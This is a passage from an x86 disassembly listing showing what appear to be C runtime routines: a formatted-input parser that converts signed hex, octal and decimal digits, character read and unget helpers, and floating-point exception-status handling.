		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420B0C:				; CODE XREF: sub_420510+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_420F16
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420B1E
		mov	[ebp+arg_4], edi


loc_420B1E:				; CODE XREF: sub_420510+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420B35:				; CODE XREF: sub_420510+6BCj
					; sub_420510+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_420B49
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_420BE5


loc_420B49:				; CODE XREF: sub_420510+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_420BD9
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_420BD9
		cmp	[ebp+var_E], 0
		jnz	short loc_420BD1
		cmp	[ebp+var_16], 0
		jz	short loc_420BC6
		mov	ecx, off_43C2F8
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420BA5
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		mov	[ebp+var_37], al


loc_420BA5:				; CODE XREF: sub_420510+686j
		push	dword_43C504
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_423EC3
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_420BC9
; ---------------------------------------------------------------------------


loc_420BC6:				; CODE XREF: sub_420510+673j
		mov	[esi], al
		inc	esi


loc_420BC9:				; CODE XREF: sub_420510+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_420B35
; ---------------------------------------------------------------------------


loc_420BD1:				; CODE XREF: sub_420510+66Dj
		inc	[ebp+var_30]
		jmp	loc_420B35
; ---------------------------------------------------------------------------


loc_420BD9:				; CODE XREF: sub_420510+649j
					; sub_420510+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420BE5:				; CODE XREF: sub_420510+633j
		cmp	[ebp+var_30], esi
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_420E77
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420C17
		and	word ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420C17:				; CODE XREF: sub_420510+6FCj
		and	byte ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420C1F:				; CODE XREF: sub_420510+466j
		mov	[ebp+var_D], 1


loc_420C23:				; CODE XREF: sub_420510+203j
					; sub_420510+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_420C31
		mov	[ebp+var_17], 1
		jmp	short loc_420C36
; ---------------------------------------------------------------------------


loc_420C31:				; CODE XREF: sub_420510+719j
		cmp	ebx, 2Bh
		jnz	short loc_420C58


loc_420C36:				; CODE XREF: sub_420510+71Fj
		dec	[ebp+var_C]
		jnz	short loc_420C47
		cmp	[ebp+var_20], 0
		jz	short loc_420C47
		mov	[ebp+var_F], 1
		jmp	short loc_420C58
; ---------------------------------------------------------------------------


loc_420C47:				; CODE XREF: sub_420510+729j
					; sub_420510+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax


loc_420C55:				; CODE XREF: sub_420510+543j
		mov	[ebp+var_14], ebx


loc_420C58:				; CODE XREF: sub_420510+4FDj
					; sub_420510+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_420D71
		cmp	[ebp+var_F], 0
		jnz	loc_420D4F


loc_420C6C:				; CODE XREF: sub_420510+82Cj
		cmp	esi, 78h
		jnz	short loc_420CC0
		cmp	dword_43C504, 1
		jle	short loc_420C89
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420C96
; ---------------------------------------------------------------------------


loc_420C89:				; CODE XREF: sub_420510+768j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420C96:				; CODE XREF: sub_420510+777j
		test	eax, eax
		jz	loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_423F90
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420D13
; ---------------------------------------------------------------------------


loc_420CC0:				; CODE XREF: sub_420510+75Fj
		cmp	dword_43C504, 1
		jle	short loc_420CD5
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420CE0
; ---------------------------------------------------------------------------


loc_420CD5:				; CODE XREF: sub_420510+7B7j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420CE0:				; CODE XREF: sub_420510+7C3j
		test	eax, eax
		jz	short loc_420D41
		cmp	esi, 6Fh
		jnz	short loc_420CFE
		cmp	ebx, 38h
		jge	short loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_423F90
		jmp	short loc_420D0D
; ---------------------------------------------------------------------------


loc_420CFE:				; CODE XREF: sub_420510+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41D280


loc_420D0D:				; CODE XREF: sub_420510+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_420D13:				; CODE XREF: sub_420510+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_420D2B
		dec	[ebp+var_C]
		jz	short loc_420D4F


loc_420D2B:				; CODE XREF: sub_420510+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420C6C
; ---------------------------------------------------------------------------


loc_420D41:				; CODE XREF: sub_420510+788j
					; sub_420510+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420D4F:				; CODE XREF: sub_420510+756j
					; sub_420510+819j
		cmp	[ebp+var_17], 0
		jz	loc_420E35
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_420E35
; ---------------------------------------------------------------------------


loc_420D71:				; CODE XREF: sub_420510+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_420E2D


loc_420D7B:				; CODE XREF: sub_420510+90Aj
		cmp	esi, 78h
		jz	short loc_420DBF
		cmp	esi, 70h
		jz	short loc_420DBF
		cmp	dword_43C504, 1
		jle	short loc_420D9A
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DA5
; ---------------------------------------------------------------------------


loc_420D9A:				; CODE XREF: sub_420510+87Cj
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420DA5:				; CODE XREF: sub_420510+888j
		test	eax, eax
		jz	short loc_420E1F
		cmp	esi, 6Fh
		jnz	short loc_420DB8
		cmp	ebx, 38h
		jge	short loc_420E1F
		shl	edi, 3
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------


loc_420DB8:				; CODE XREF: sub_420510+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------


loc_420DBF:				; CODE XREF: sub_420510+86Ej
					; sub_420510+873j
		cmp	dword_43C504, 1
		jle	short loc_420DD7
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DE4
; ---------------------------------------------------------------------------


loc_420DD7:				; CODE XREF: sub_420510+8B6j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420DE4:				; CODE XREF: sub_420510+8C5j
		test	eax, eax
		jz	short loc_420E1F
		push	ebx
		shl	edi, 4
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420DF7:				; CODE XREF: sub_420510+8A6j
					; sub_420510+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_420E09
		dec	[ebp+var_C]
		jz	short loc_420E2D


loc_420E09:				; CODE XREF: sub_420510+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420D7B
; ---------------------------------------------------------------------------


loc_420E1F:				; CODE XREF: sub_420510+897j
					; sub_420510+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420E2D:				; CODE XREF: sub_420510+865j
					; sub_420510+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_420E35
		neg	edi


loc_420E35:				; CODE XREF: sub_420510+843j
					; sub_420510+85Cj ...
		cmp	esi, 46h
		jnz	short loc_420E3E
		and	[ebp+var_1C], 0


loc_420E3E:				; CODE XREF: sub_420510+928j
		cmp	[ebp+var_1C], 0
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	short loc_420E77
		inc	[ebp+var_34]


loc_420E51:				; CODE XREF: sub_420510+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_420E67
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_420E77
; ---------------------------------------------------------------------------


loc_420E67:				; CODE XREF: sub_420510+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420E74
		mov	[eax], edi
		jmp	short loc_420E77
; ---------------------------------------------------------------------------


loc_420E74:				; CODE XREF: sub_420510+95Ej
		mov	[eax], di


loc_420E77:				; CODE XREF: sub_420510+241j
					; sub_420510+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_420EC4
; ---------------------------------------------------------------------------


loc_420E82:				; CODE XREF: sub_420510+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_420EF1
		mov	ecx, off_43C2F8
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420EC4
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_420EFF
		dec	[ebp+var_4]


loc_420EC4:				; CODE XREF: sub_420510+970j
					; sub_420510+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420EDA
		cmp	byte ptr [esi],	25h
		jnz	short loc_420F1C
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_420F1C
		mov	esi, eax


loc_420EDA:				; CODE XREF: sub_420510+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_42053A
		jmp	short loc_420F16
; ---------------------------------------------------------------------------


loc_420EE6:				; CODE XREF: sub_420510+1F4j
					; sub_420510+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_420EF6
; ---------------------------------------------------------------------------


loc_420EF1:				; CODE XREF: sub_420510+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_420EF6:				; CODE XREF: sub_420510+9DFj
		call	sub_420F86
		pop	ecx
		pop	ecx
		jmp	short loc_420F16
; ---------------------------------------------------------------------------


loc_420EFF:				; CODE XREF: sub_420510+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		add	esp, 10h


loc_420F16:				; CODE XREF: sub_420510+1Fj
					; sub_420510+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420F2D


loc_420F1C:				; CODE XREF: sub_420510+9BDj
					; sub_420510+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_420F30
		cmp	[ebp+var_15], al
		jnz	short loc_420F30
		or	eax, 0FFFFFFFFh
		jmp	short loc_420F30
; ---------------------------------------------------------------------------


loc_420F2D:				; CODE XREF: sub_420510+A0Aj
		mov	eax, [ebp+var_34]


loc_420F30:				; CODE XREF: sub_420510+A11j
					; sub_420510+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420510	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F35	proc near		; CODE XREF: sub_420510+7A3p
					; sub_420510+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43C504, 1
		push	esi
		jle	short loc_420F4F
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420F5E
; ---------------------------------------------------------------------------


loc_420F4F:				; CODE XREF: sub_420F35+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43C2F8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_420F5E:				; CODE XREF: sub_420F35+18j
		test	eax, eax
		jnz	short loc_420F68
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_420F68:				; CODE XREF: sub_420F35+2Bj
					; DATA XREF: Themida_:0054D01Eo
		mov	eax, esi
		pop	esi
		retn
sub_420F35	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F6C	proc near		; CODE XREF: sub_420510+1E1p
					; sub_420510+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_420F7E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_420F7E:				; CODE XREF: sub_420F6C+7j
		push	edx
		call	sub_41F043
		pop	ecx
		retn
sub_420F6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F86	proc near		; CODE XREF: sub_420510+6Bp
					; sub_420510+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_420F9C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_423FAF
		pop	ecx
		pop	ecx

locret_420F9C:				; CODE XREF: sub_420F86+5j
		retn
sub_420F86	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F9D	proc near		; CODE XREF: sub_420510+63p
					; sub_420510+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_420FA3:				; CODE XREF: sub_420F9D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_420F6C
		mov	edi, eax
		push	edi
		call	sub_41D670
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_420FA3
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_420F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_420FC1(int,int,double,int)

sub_420FC1	proc near		; CODE XREF: sub_41C679+51p
					; sub_41C7BF+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43CC70, 0
		jnz	short loc_420FF6
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421576
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420FF6:				; CODE XREF: sub_420FC1+Aj
		push	0FFFFh
		mov	dword_4DB278, 21h
		push	[ebp+arg_C]
		call	sub_4217E9
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_420FC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421014(int,int,double,double,int)

sub_421014	proc near		; CODE XREF: sub_41C679:loc_41C73Cp
					; sub_41C7BF:loc_41C882p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_42135F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421052
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4210AC
		add	esp, 18h


loc_421052:				; CODE XREF: sub_421014+1Aj
		push	[ebp+arg_0]
		call	sub_421649
		cmp	dword_43CC70, 0
		pop	ecx
		jnz	short loc_421090
		test	eax, eax
		jz	short loc_421090
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421576
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_421090:				; CODE XREF: sub_421014+4Ej
					; sub_421014+52j
		push	eax
		call	sub_4215FE
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_4217E9
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_421014	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210AC	proc near		; CODE XREF: sub_421014+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_4210DE
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_4210DE:				; CODE XREF: sub_4210AC+23j
		test	cl, 2
		jz	short loc_4210F1
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_4210F1:				; CODE XREF: sub_4210AC+35j
		test	cl, bl
		jz	short loc_421103
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_421103:				; CODE XREF: sub_4210AC+47j
		test	cl, 4
		jz	short loc_421116
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_421116:				; CODE XREF: sub_4210AC+5Aj
		test	cl, 8
		jz	short loc_421129
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_421129:				; CODE XREF: sub_4210AC+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_4217CC
		test	al, bl
		jz	short loc_4211B2
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_4211B2:				; CODE XREF: sub_4210AC+FDj
		test	al, 4
		jz	short loc_4211BD
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_4211BD:				; CODE XREF: sub_4210AC+108j
		test	al, 8
		jz	short loc_4211C8
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_4211C8:				; CODE XREF: sub_4210AC+113j
		test	al, 10h
		jz	short loc_4211D2
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_4211D2:				; CODE XREF: sub_4210AC+11Ej
		test	al, 20h
		jz	short loc_4211DC
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_4211DC:				; CODE XREF: sub_4210AC+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_42121B
		cmp	eax, 400h
		jz	short loc_42120D
		cmp	eax, 800h
		jz	short loc_421201
		cmp	eax, ecx
		jnz	short loc_421221
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421221
; ---------------------------------------------------------------------------


loc_421201:				; CODE XREF: sub_4210AC+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421217
; ---------------------------------------------------------------------------


loc_42120D:				; CODE XREF: sub_4210AC+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_421217:				; CODE XREF: sub_4210AC+15Fj
		mov	[eax], ecx
		jmp	short loc_421221
; ---------------------------------------------------------------------------


loc_42121B:				; CODE XREF: sub_4210AC+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_421221:				; CODE XREF: sub_4210AC+14Bj
					; sub_4210AC+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_42124C
		cmp	eax, 200h
		jz	short loc_42123F
		cmp	eax, ecx
		jnz	short loc_421259
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421259
; ---------------------------------------------------------------------------


loc_42123F:				; CODE XREF: sub_4210AC+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421257
; ---------------------------------------------------------------------------


loc_42124C:				; CODE XREF: sub_4210AC+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_421257:				; CODE XREF: sub_4210AC+19Ej
		mov	[eax], ecx


loc_421259:				; CODE XREF: sub_4210AC+189j
					; sub_4210AC+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_4217DA
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	near ptr 26503C4h
		nop
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_4212D3
		and	dword ptr [esi], 0FFFFFFFEh


loc_4212D3:				; CODE XREF: sub_4210AC+222j
		test	byte ptr [eax+8], 8
		jz	short loc_4212DC
		and	dword ptr [esi], 0FFFFFFFBh


loc_4212DC:				; CODE XREF: sub_4210AC+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_4212E5
		and	dword ptr [esi], 0FFFFFFF7h


loc_4212E5:				; CODE XREF: sub_4210AC+234j
		test	byte ptr [eax+8], 2
		jz	short loc_4212EE
		and	dword ptr [esi], 0FFFFFFEFh


loc_4212EE:				; CODE XREF: sub_4210AC+23Dj
		test	[eax+8], bl
		jz	short loc_4212F6
		and	dword ptr [esi], 0FFFFFFDFh


loc_4212F6:				; CODE XREF: sub_4210AC+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_42132A
		dec	ecx
		jz	short loc_42131E
		dec	ecx
		jz	short loc_421314
		dec	ecx
		jnz	short loc_42132C
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_42132C
; ---------------------------------------------------------------------------


loc_421314:				; CODE XREF: sub_4210AC+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421326
; ---------------------------------------------------------------------------


loc_42131E:				; CODE XREF: sub_4210AC+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_421326:				; CODE XREF: sub_4210AC+270j
		mov	[esi], ecx
		jmp	short loc_42132C
; ---------------------------------------------------------------------------


loc_42132A:				; CODE XREF: sub_4210AC+257j
		and	[esi], edx


loc_42132C:				; CODE XREF: sub_4210AC+260j
					; sub_4210AC+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_42134C
		dec	ecx
		jz	short loc_421343
		dec	ecx
		jnz	short loc_421355
		and	[esi], edx
		jmp	short loc_421355
; ---------------------------------------------------------------------------


loc_421343:				; CODE XREF: sub_4210AC+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421353
; ---------------------------------------------------------------------------


loc_42134C:				; CODE XREF: sub_4210AC+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_421353:				; CODE XREF: sub_4210AC+29Ej
		mov	[esi], ecx


loc_421355:				; CODE XREF: sub_4210AC+291j
					; sub_4210AC+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4210AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42135F	proc near		; CODE XREF: sub_421014+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_42138A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_42138A
